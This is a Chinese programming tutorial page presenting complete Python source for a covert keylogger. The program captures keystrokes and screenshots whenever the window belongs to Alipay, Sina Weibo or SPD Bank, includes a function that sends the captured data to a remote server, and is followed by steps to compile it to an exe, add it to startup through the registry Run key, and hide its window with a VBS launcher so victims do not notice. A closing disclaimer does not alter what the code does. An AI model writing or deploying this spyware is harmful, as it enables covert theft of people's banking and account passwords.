Python利用pyHook實(shí)現(xiàn)監(jiān)聽用戶鼠標(biāo)與鍵盤事件
本文以一段簡(jiǎn)單的監(jiān)聽鼠標(biāo)、鍵盤事件的程序,實(shí)現(xiàn)獲取用戶的輸入(比如登錄某些網(wǎng)站的賬號(hào)、密碼)的功能。經(jīng)測(cè)試,對(duì)于一臺(tái)“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實(shí)現(xiàn)方法如下:
一、代碼部分:獲取用戶輸入信息,并與截圖一起保存到XX目錄下
# -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageGrab # #如果是遠(yuǎn)程監(jiān)聽某個(gè)目標(biāo)電腦,可以自己架設(shè)一個(gè)服務(wù)器,然后將獲取到的信息發(fā)回給服務(wù)器 # def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':' tcp_client_sock.sendall(info+msg) tcp_client_sock.close() # #也可以將獲取到的信息保存到本地文件下 # def write_msg_to_txt(msg): f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a') f.write(msg+'\r\n') f.close() def onMouseEvent(event): # 監(jiān)聽鼠標(biāo)事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG='' pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #將用戶屏幕截圖,保存到本地某個(gè)目錄下(也可以搞成遠(yuǎn)程發(fā)送到自己的服務(wù)器) pic = ImageGrab.grab() pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #監(jiān)聽鍵盤事件 global MSG title= event.WindowName.decode('GBK') #通過網(wǎng)站title,判斷當(dāng)前網(wǎng)站是否是“監(jiān)聽目標(biāo)” if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發(fā)銀行')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓圖實(shí)現(xiàn) pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成為以日期命名的圖片 pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ == "__main__": MSG = '' #創(chuàng)建hook句柄 hm = pyHook.HookManager() #監(jiān)控鼠標(biāo) hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #監(jiān)控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環(huán)獲取消息 pythoncom.PumpMessages()
二、用py2exe將腳本打包:
新建一個(gè)py文件setup.py,內(nèi)容如下:
from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"])
命令行執(zhí)行以下命令:
pythonsetup.pypy2exe
三、將該程序設(shè)置為開機(jī)自動(dòng)啟動(dòng):
步驟①:
將需要開機(jī)啟動(dòng)的文件(創(chuàng)建一個(gè)快捷方式,然后)放到“開始/所有程序/啟動(dòng)”目錄下
步驟②:
修改注冊(cè)表:命令行— regedit ,然后到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
新建一個(gè)“字符串值”,然后編輯:設(shè)置exe文件所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe
(以上兩種方式啟動(dòng)monitor.exe的話,會(huì)彈出一個(gè)命令框,顯示監(jiān)聽日志信息,這樣的話,被監(jiān)聽的人一下就能發(fā)現(xiàn)了,可以試試下面這個(gè)方式)
步驟③:
新建一個(gè) .vbs文件,內(nèi)容如下:
setwscriptObj=CreateObject("Wscript.Shell") wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0
雙擊運(yùn)行該vbs文件,則monitor.exe就在后臺(tái)啟動(dòng)了(不會(huì)彈出一個(gè)大黑框)。
然后參考法①、② 把該vbs設(shè)置成開機(jī)啟動(dòng)即可。
補(bǔ)充:
1、該程序涉及到一些模塊都需要自己安裝一下;
2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實(shí)路徑;
3、本代碼僅為測(cè)試示例,讀者不要將其用于非法用途。
感興趣的讀者可以對(duì)本文實(shí)例加以改進(jìn),使之功能更加完善。
相關(guān)文章
python檢測(cè)服務(wù)器端口代碼實(shí)例
這篇文章主要介紹了python檢測(cè)服務(wù)器端口代碼實(shí)例,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-08-08python smtplib模塊自動(dòng)收發(fā)郵件功能(一)
這篇文章主要為大家詳細(xì)介紹了python smtplib模塊自動(dòng)收發(fā)郵件功能,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-05-05解決Python pip 自動(dòng)更新升級(jí)失敗的問題
今天小編就為大家分享一篇解決Python pip 自動(dòng)更新升級(jí)失敗的問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-02-02Python學(xué)習(xí)工具jupyter notebook安裝及用法解析
這篇文章主要介紹了Python學(xué)習(xí)工具jupyter notebook安裝及用法解析,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-10-10Python Charles抓包配置實(shí)現(xiàn)流程圖解
這篇文章主要介紹了Python Charles抓包實(shí)現(xiàn)流程圖解,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-09-09用Python實(shí)現(xiàn)協(xié)同過濾的教程
這篇文章主要介紹了用Python實(shí)現(xiàn)協(xié)同過濾的教程,主要用于從大數(shù)據(jù)中抽取用戶信息偏好等等,需要的朋友可以參考下2015-04-04